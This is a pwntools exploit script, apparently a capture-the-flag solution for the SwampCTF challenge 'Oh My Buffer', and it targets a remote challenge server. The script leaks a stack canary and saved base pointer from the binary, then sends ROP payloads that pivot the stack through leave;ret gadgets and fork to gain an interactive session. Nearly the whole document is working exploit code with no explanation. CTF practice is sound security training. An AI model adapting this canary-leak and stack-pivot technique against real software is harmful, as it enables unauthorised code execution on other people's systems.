Oh My Buffer

#!/usr/bin/env python3

from pwn import *
import time
#from termcolor import colored
#from tqdm import tqdm

elf = ELF("./binary_patched")
rop = ROP(elf)

t = 1
context.binary = elf
context.aslr = True
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
b reg
b *reg+23
c
"""


def find_offset():
    r = process([elf.path])
    gdb.attach(r)
    p = cyclic(1000)
    r.sendline(p)
    r.interactive()


def conn():
    if args.REMOTE:
        r = remote("chals.swampctf.com", 40005)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def main():
    r = conn()
    r.recvuntil(b'> ')
    r.sendline(b'2')

    r.recvuntil(b'How long is your username: ')
    r.sendline(b'48')

    r.recvuntil(b'Username: ')
    r.sendline(b'i')

    r.recvuntil(b'find the user: ')
    leak = r.recvuntil(b'===================',drop=True)

    canary      = u64(leak[3*8:4*8])
    saved_rbp   = u64(leak[4*8:5*8])

    print("canary: " + hex(canary))
    print("rbp:    " + hex(saved_rbp))

    buffer_addr = saved_rbp - 160
    reg  = b'\x56\x12'
    leave_ret = b'\xf9\x12'
    fork = 0x401160
    ret_main = elf.sym["main"]
    ret_addr = b'\xc3\x13'
    offset = b'i' * 16

    r.recvuntil(b'> ')
    r.sendline(b'1')

    payload_1 = p64(saved_rbp) + p64(fork) + p64(ret_main) + p64(canary) + p64(buffer_addr) + leave_ret
    payload_2 = p64(saved_rbp + 0xa0) + p64(fork) + p64(ret_main) + p64(canary) + p64(buffer_addr + 0xa0) + leave_ret

    r.recvuntil(b'Username: ')
    r.sendline(b'i')

    r.recvuntil(b'Password: ')
    r.send(payload_1)

    time.sleep(t)
    r.sendline(b'1')
    time.sleep(t)
    r.sendline(b'1')
    time.sleep(t)
    r.sendline(b'1')
    time.sleep(t)
    r.sendline(b'1')
    time.sleep(t)
    r.clean()
    r.sendline(b'1')
    time.sleep(t)

    print(r.recvuntil(b'> '))
    r.sendline(b'1')

    print(r.recvuntil(b'> '))
    r.sendline(b'1')


    time.sleep(t)
    print(r.recvuntil(b'Username: '))
    r.sendline(b'1')

    time.sleep(t)

    print(r.recvuntil(b'Username: '))
    r.sendline(b'1')

    time.sleep(t)

    print(r.recvuntil(b'Password: '))
    r.send(payload_1)

    time.sleep(t)

    print(r.recvuntil(b'Password: '))
    r.send(payload_2)

    r.interactive()




if __name__ == "__main__":
    main()